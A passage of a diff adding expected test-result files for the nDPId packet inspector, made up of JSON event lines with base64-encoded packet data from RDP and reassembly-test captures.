Z+ag2ITg2Btpu8wqTLW1AcIEwUCJn+GIh9nfi2FNFAh9BlqEqUxKo1kLp2ruXGTKkRRTeUZ\/8pay7SfKOS9LHqiqNzfcC\/pk2pgzKlHHF14a7NY\/zCjCzm2mATwuIz+HK+deebVXFnFcRzXaNqXGX9vlJ8CxdCTE2NbJHNfhxafLxFn+1mUZZTws6Jbvlez\/RVGMUT6mliRCaizr1KuLjurfdQUwziAOJgGbAbGay3oDn\/xdkjcgmYG8QAzCFusgi4Nwcn\/RT87xZLRfA77pWp\/5uuQm7+roxoS1QLCd9pekjgRqCH3DbmuKq6kmgsOwvQg7BGkoguC9i6FkC2cvZp3UsndLUyJAjAcEv2SUYUXlVqw6dqwmlSu8kGah4TDNROKz8rMottdo5dAB021xQeAb8lnDupQ8Oq1ykIT1B6D2uTtmw61MjrRq2RdhQnmIScpy5X1K9dW5if0uS84n\/Lw+admxGDFFd2jQSFHH2WV8HSByXvKtHCJa045GVzwLoZC3jHak8RBEz0mMy+GZPkRIOShZ0TdYv\/AAcecG5Y35kv0ctovG7d0IbQGetp5YZPpsVBoMBNFgs69aOi3Lv3UEo7cjNnpbnZTvmZ\/Kvdk1lCMkYDuxo1F\/C8KXYaJfLKa6THnIsyerqMXSHKB5WpDbbhkPovykH41Gv1uXvpA+bcEB3vGrx\/exHV4ssSseIlH0s6REWWaSCjOn8o\/IAR24Vda8AeDBfF3CcNOwfPaZFrn5rICHTKGxb"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1989,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00865{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1990,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":902691,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNju0AAfwYkmsCoAo6sEAK5DT3NDkeilWj5vSTlUBj3mb1VAABk8eYPJtcJIQav4eiAqGzESsGkCFS8DNflzMbbLan7yGJfy+8xZEjXypwYD8fv0yvYyX+eh60MMsvdX28jKB5XRDyL3HXz11Ish0sOWcbR7CBy8ubAvLNjgbDXYjYYdIhSyryXbfvAHhENNfZIWz3uTCbi0goMuWn8rbVzgAZyadEc2913f\/IGwrOGgDZNtWmyli\/DsHk+wcFGbeV4a7cHkYs+G\/iMwtGmk0JyfJqFjKE0brxV4vi2u1\/lrI4cgmKGsjenbsukGSSL+0pAbi6faQKZSNWBgbeOFyz\/BMNEQNTFs3ZrG5SxuVOJB8mOSMgdF7S4Dez8POFfnCzody46woTS46H3miIZg2qqFG112scCXS4B8EoN8g2WkYa+xoDICfGILINJE6KLKOy8N5l\/nYwIgxgv8yLDib+mf1OcCQ8OI6BcLXy4YD\/Qg2xSSJgLo0mBO2V0RyNB8wjPlur7bk1zqYQS6VRdtjZ\/zS4tAGCgUC1RwYFNBHPN"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1990,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1991,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":902720,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JYxHopbjUBAf9EXFAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1991,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02077{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1992,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":902934,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjvEAAfwYhG8CoAo6sEAK5DT3NDkeiluP5vSTlUBD3mYT4AAAXAwMGbwAAAAAAAAKK5h7WGbeEcH6GhqX9Qi\/WiCQWOJ4iuLSYJpu6DssIcCeMGrUoFK6bkydD26BBgGebIkMxkZI\/Dg051+WXhZVA5uu3WIyPCZIh0Y8ysefpHq+ZVx3ZxmWtt3tXa7fQznx2Y8mT8l4YKMFgjUu\/fdF0Ilwr70LHkDojrGGx6bOSiU1MyEibl6FVVhhrw84d1AUAx2gVkXzhjMhJIQeHUO+Q\/T\/q5hqH09pvgVvf4ky43QASFO\/8K2rSQkEzhxkQG3BjILPQCNvhSeqbCx3DUzZiv2awrKsJS05a6XUcljoHxh9+T96zAB3h\/mJofe8FkHUGOnDtREcTM\/Pu19cpDFWApyWRduahmr0ADtFj8b+6prslmxh8Lg5JNiY1Xl3TxnAbcKUz50\/A\/O3zZoGPBAo2sm5TF1A92u7PtCJQ313NnuHUSZbPd8LKlWiF3DOsKERManFmfRnLOA4skk4xCW2zjvB+NRGDC0ApQ04SXZ+86BhWeGEiYOKChJp6VokxXTyJ7xVG6soeZmL8U\/eEWaFQNq\/QHJC9Cynx7D5xe6ouMGzvp4ELsvJP1uSibEXwAkrIUXm6ndko3Jp98ewfp3l2sIAw42ChScrk5h2jCJ79Sjj6QGfPTZC8MhidrIA8HCjlIVaAI1scWKc65QK6PgNy4a3KB18Z0ZTVh0TCz2jOeGRvfGFdRllVWrdkc5GUdhiGY2q4jza+i\/jpmCLa5q+u3oTiKNjNSATWy22IFJS3bSKyBjhzbi89Ak\/inN5w4\/aQGsl1r7\/h4HwY1AgGGwL3iuoMQea64Em+FRBlfCoi2BGfE4BFDP7sa7dJaXLNhM7a+BMj\/FixAc3GWKgMS6M2tdFOBm2JXaLYqvFZ13QXrFDUgBjeNKBhbZxOu+3\/wmRRQgqQMBLD2QScto5mktnD\/2V4wncDPRPsldGTGN1xG2uTZ7SxlWDL9rpWMNZuWAwu3zEckqYZNrQwvRqrB9YuSn4aZ65fmZZyk3cRn9t1Itm2pH8DOwUCbwTffr82KBGmVakdn29bkVR7JDc+cHaFmIzVkBBpvavFhrwMq9vkHvab+cylqgRbulEd8nJ0MW3Ki0IjtsNwXcJHZJ3SS7AtkLNKeMpqOshH6BE2CKiJevLbaxslPLW98IGHZidnxtrq9jekGtAF\/BdW2AVlTQIFwbEujMjbWUbGUDfVOhAGYbsZL4KpCE7Gi7Ast9nFZZ524SSONKIqzq\/mFnBAS1H6h5kShnA23H7H3gNMuHg8IIWLn2DxOfHYPaf1TiH+bfulOIkeV679bxaVQ6j8slLG99VxxPAUBOdDwxnDqo6oPzEOXdfFJaU4HV\/TgJ3WeNi9UP3k5e25rHjPqZCBhy8y2ZYlbeEPFqdyEgx7SHPcPdV1hS0j48MsPjpoXdD+zNNjJMbvigdgpgbbONfmA\/argB7rUX3kCbLoWMEyOdHqE2bKdBLcR99fctqhxq7J2IloEsjIvXulkSUjtVJJvmJMV4ryAM2Tqsj3cl0+z+mrPguPP6eQfYnp1W1XoeA795MctBol14qDz+zu6p7hQyjt2kZLXiRZ+mZSPSmfjdIVtpGOEpiTVbcY0d+wsWkqygWC9U+TMXdX\/LXEL\/sr4wGSWUkPRGvHtMm8qua3o\/RVKtZYFitdmDKYW9FpNqYPnw7x51PtgC18E3gdb7xf"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1992,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1993,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":902974,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjvUAAfwYkmMCoAo6sEAK5DT3NDkeim9z5vSTlUBj3mewVAABDS3GftK5PjHQeGqNq1Zq9XR9XivcEWhbl1hep0etLgGOLc2TvLD+JPG1CFMtCNNMjMh3sW2PLMe4Th0bqeKtMNsTsUVLK0iiOuresvOLC9J6sURt6uAihWY1\/xWu+sDqPgWTsbCXCQvKTRL63zsRZFJ1LICXlmXLseS1Rv5ZdSIX5tGbsxImra8cNUySo99Q1smJo\/rWzSPkfN1zQi9S0tdtrvZ5RIZQPqgCvtEuz+GqriPkkWinxfW7w6OQ1y5PM6d\/KuaQm7q58jC9dW0IJ40kBexFyXFEQPJ9KVfKjcnEHE953cmhbNTVv5VPlCTtO781vqduMWY1FVafgMzABzdMP58rbHlmDVYOxo8AeYHEPf4cc\/Tg6\/7zHFHMrzyyUaIs+KCE6DT6KRNsDSBJ7gMNa0DQchwR\/ohCaLz7wrG+zyQ+fKN8g\/Cgb9Z7hss5kILq1ihYajNE9IezHxzIyXQyPYbkD27EDEBt6qHMwDeG1luLTK0eGb3m3"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1993,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1994,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":903008,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JYxHop1XUBAf9D9RAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1994,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +01721{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1995,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":903136,"pkt_caplen":1052,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1052,"pkt_l4_len":0,"pkt":"AgAAAEUABBhjvkAAfwYiIsCoAo6sEAK5DT3NDkeinVf5vSTlUBj3mUZjAAAXAwMD6wAAAAAAAAKL0qdOlJ6GY5TdR\/R7DTX3t2T6PKifUYnHJrTbPi61Njfc5G7EqBd0FicDZPZpn8VY94zawMuVuDOKQz8hrlLcNUdVzeQ5ASet4RfiVOjneCqvMJF5ElWjMAR\/uuQuGQ82RKPbkgifpkMc3XQaY7fzzZVTCPR3TNdSR1SEsxJDdqS\/++z7bERTW7MwqO1Dn6LojCRkAXJLm2zU5etaXUzeMil\/bu7FrRNKyJTbw8a5lGxIhoCJX5MbPe1nWT9J+Swhp4c2ZmxHX8XA+0U7t7+jT+z+TuEOx75cdPCkX2674wTNPopORvCmswc5z7rvxtXoMjf+cjl8W2HCKcdsQ\/9Un\/mFg8o1QdBa1pT+OFGPirDA1zkBNQTOhGztHuSqDIxE6OPJYeYkHmPNb9XIo\/CYpZFUKp\/mG2FmyDlYkieHeHfDf1UVtQRywpvGFCCnRrjUs6JfRF1T69Pe7+V95jUto3fDn8GHRWvROmCDhhZ2ngHSZbEdZ1mKynPw+pcX5aKdYj7f\/a0qQUCbLWhltHvCpw4wwu7X2A59n6JMq9vVt+D9F0j0YUHOMBg8TRGkzP8So\/6fYLt2Ma1MQtwbdwQ64YjY86vfeHrwJAHi7rT3ESKFNhxYLK0Puc5leD\/OvA6Uw4fMxkdBNo9kojSasNbByVdciKgr9r+6Fu67VwL17wQPJtQXKcDajHJyojPUIbi9J\/uC1uuUNNiZYsPl\/7arrbm+81qBtCMX5MlciYDnUGp0BFjC04\/4lwLIPqy9e12iqYG\/uJ6OvKkyFORH1PwAjV9aIdI+0T+jmO6PnJ2HgerfSWcdmRhh4422Wj0s9fRUipZccGE11VrkxSMEcN2M8KdRXZP82LB+5Lg75nBVzu\/FonrDp3S\/dOIrjbd4Qdg183GPB5fDumFCrfk5geiKV1P74MJFRyczk3MwwjHGJXGH0pJ\/eLWPA+RxcJv7\/kpvM8gMj8Tq7FVK7qEkE4lyAlAH1fFvIPhrb2+0\/Z4YeMdoYuqzP39UD\/sPr4yi8QMu34jphINdLxKqQfmYCpkVFgWV0Q5u\/pjm5Z4KkoFemPMTKzkVACWjnzoNI7zCedjdDXKyNiNQgNv9kZcDtINBeF00+s6TDLcleR3mVIrHavw+IW4JMwJwoWhO5bvLBqTwZsPxHBvgL1M7Fs36qV9EJUsSBWaOE1fPa62Y0xrL8O6Rnz6XHTX4FPoilIM1tqPtTDXoyQQlu01N6mtWTj4kcOPeFgA3X8Co4oeD1xV8TeqdC3+CUYdcMJVoBibpeiUU4iaBJ5notZ2GmR8MoHKv5KF445fhki5AWoLpv63QtX2MrNo="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1995,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1996,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":903171,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JYxHoqFHUBAf4Dt1AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1996,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00451{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1997,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":903278,"pkt_caplen":115,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"AgAAAEUAAG9jv0AAfwYlysCoAo6sEAK5DT3NDkeioUf5vSTlUBj3mdrkAAAXAwMAQgAAAAAAAAKMllVs\/tChDH9pb12MTbn\/ylDoiBpUIyQTTJsRLtATWZFWJepPR2l0H0nCSmdX+Y6z27X37q0iPVkmDw=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1997,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1998,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":903308,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JYxHoqGOUBAf\/TsRAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1998,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1999,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":939061,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AgAAAEUAAHEAAEAAQAbIh6wQArnAqAKOzQ4NPfm9JYxHoqGOUBggAGTRAAAXAwMAROAIO32NJwxK98h6VTiPdeDmNNWAWhGiBuLK6PiFrdm\/+wnn2OBGX7GlLb53cea2A2tWVh7q0NlxE5ZEviaHCWYxYkIt"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1999,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2000,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":939208,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AgAAAEUAAHEAAEAAQAbIh6wQArnAqAKOzQ4NPfm9JdVHoqGOUBggAG4bAAAXAwMAROAIO32NJwxLVqvvi4RJKDtRV8Azt3mRDyTCFOMrNWFPAWihFRNh1ctFMkulnqutTDUYDFHnx5IDi\/4UU70zcMJZKkJa"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2000,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2001,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":943241,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChjwEAAfwYmEMCoAo6sEAK5DT3NDkeioY75vSVXUBD3J2QbAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2001,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2002,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":984222,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChjwUAAfwYmD8CoAo6sEAK5DT3NDkeioY75vSXVUBD2qWQbAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2002,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2003,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207472,"pkt_ts_usec":25345,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChjwkAAfwYmDsCoAo6sEAK5DT3NDkeioY75vSYeUBD2YGQbAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2003,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00395{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2004,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207472,"pkt_ts_usec":593198,"pkt_caplen":76,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AgAAAEUAAEgAAEAAQAbIsKwQArnAqAKOzQ4NPfm9Jh5HoqGOUBggAMAyAAAXAwMAG+AIO32NJwxMWYMhsBEzKmn6N54uQj9dGx66XA=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2004,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00396{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2005,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207472,"pkt_ts_usec":594412,"pkt_caplen":76,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AgAAAEUAAEgAAEAAQAbIsKwQArnAqAKOzQ4NPfm9Jj5HoqGOUBggACQ1AAAXAwMAG+AIO32NJwxN\/HeDAqHcP5vgnmlQoBbEZ9iFXw=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2005,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00404{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2006,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207472,"pkt_ts_usec":610394,"pkt_caplen":82,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":82,"pkt_l4_len":0,"pkt":"AgAAAEUAAE4AAEAAQAbIqqwQArnAqAKOzQ4NPfm9Jl5HoqGOUBggAMHvAAAXAwMAIeAIO32NJwxOlfQ2MZcD42PuuEbSqPqARND8KcU\/T1zYKg=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2006,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2007,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207472,"pkt_ts_usec":612156,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JoRHoqGOUBEgADoVAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2007,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2008,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207472,"pkt_ts_usec":637519,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChjw0AAfwYmDcCoAo6sEAK5DT3NDkeioY75vSZeUBD2IGQbAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2008,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2009,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207472,"pkt_ts_usec":692952,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChjxEAAfwYmDMCoAo6sEAK5DT3NDkeioY75vSaEUBQAAFoSAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2009,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2010,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207472,"pkt_ts_usec":692980,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChjxUAAfwYmC8CoAo6sEAK5DT3NDkeioY5HoqGOUAQAAJEzAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2010,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} diff --git a/test/results/reasm_crash_anon.pcapng.out b/test/results/reasm_crash_anon.pcapng.out new file mode 100644 index 000000000..57a3bee20 --- /dev/null +++ b/test/results/reasm_crash_anon.pcapng.out @@ -0,0 +1,418 @@ +00413{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1410865705,"pkt_ts_usec":717955,"pkt_caplen":81,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":81,"pkt_l4_len":0,"pkt":"AAQAAQAGplhD8kgGAAAIAEUAAEEBjUAAQAbTicCokZMK0QiUyBJV7zv7Y\/\/dkdtagBghO+7bAAABAQgKPplWKzpg4vE8ZGV0YWlscyAvPg0K"} +00171{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","datalink":113} +00413{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1410865705,"pkt_ts_usec":717964,"pkt_caplen":81,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":81,"pkt_l4_len":0,"pkt":"AAQAAQAGplhD8kgGAAAIAEUAAEEBjUAAQAbTicCokZMK0QiUyBJV7zv7Y\/\/dkdtagBghO+7bAAABAQgKPplWKzpg4vE8ZGV0YWlscyAvPg0K"} +00171{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","datalink":113} +00498{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1410865705,"pkt_ts_usec":719465,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAAAAQAGUrCAkIlsAAAIAEUAAH6lHkAAQAYvuwrRCJTAqJGTVe\/IEt2R21o7+2QM0BgBxZZgqqoBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAaqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00171{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","datalink":113} +00395{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1410865705,"pkt_ts_usec":719491,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQAAQAGplhD8kgGAAAIAEUAADQBjkAAQAbTlcCokZMK0QiUyBJV7zv7ZAzdkduQgBAhO1EJAAABAQgKPplWLTphWIQ="} +00171{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":4,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","datalink":113} +00395{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1410865705,"pkt_ts_usec":719495,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQAAQAGplhD8kgGAAAIAEUAADQBjkAAQAbTlcCokZMK0QiUyBJV7zv7ZAzdkduQgBAhO1EYAAABAQgKPplWLTphWHY="} +00171{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":5,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","datalink":113} +01366{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6,"source":"reasm_crash_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1410865705,"pkt_ts_usec":720713,"pkt_caplen":793,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":793,"pkt_l4_len":0,"pkt":"AAAAAQAGUrCAkIlsAAAIAEUAAwmlH0AAQAYtLwrRCJTAqJGTVe\/IEt2R25A7+2QMgBgBxW5tAAABAQgKPmFYhT6ZVi08ZGV0YWlsczZpZD0iIiA+Cgk8bXNfdmVyc2lvbj4xMC4zLjFfPC9tc192ZXJzaW9uPgo8L2RldGFpbHM+CjxkZXRhaXNzIGlkPSIiID4KCTxzc19yZXJzaW9uPjExLjMuMV88L3NzX3ZlcnNpb24+CjwvZGV0YWlscz4KPGRldGFpbHMgaWQ9IiIgPgoJPGxvYWQxPjAuMDAwMDAwPC9sb2FkMT4KPC9kZXRhaWxzPgo8ZGV0YWlscyBpZD0iIiA+Cgk8bG9hZDI+MC4wMDAwMDA8L2xvIWQyPgo8L2RldGFIbHM+CjxkZXRhaWNzIGlkPSIiID4KCTxsb2FkMz4wLjAwMDAwMDwvbG9hZDM+CjwvZGV0YWlscz4KPGRldGFpbHMgaWQ9IiIgPgoJPFRvdGFsUkFNPjQxMTA2MzUwMDg8L1QlAGFsUkFNPgo8L2RHdGFpbHM+CjxkZXRhaWwlAGlkPSIiID4KCTxGcmVlUkFNPjEyNzc2Mjg1ETY8L0ZyZWVSQU0+CjwvZGV0YWlscz4KPGRldGFpbHMgaWQ9IiIgPgoJPFNoYSUAZFJBTT4wPC9TaGElAGRSQU0+CjwvZGV0YWlscz4KPGRldGFpbHMgaWQ9IiIgPgoJPEJ1ZmZlclJBTT4yOTYyGDgyNTY8L0J1ZmZlclJBTT4KPC9kZXRhaWxzPgo8ZGV0YWlscyBpZD0iIiA+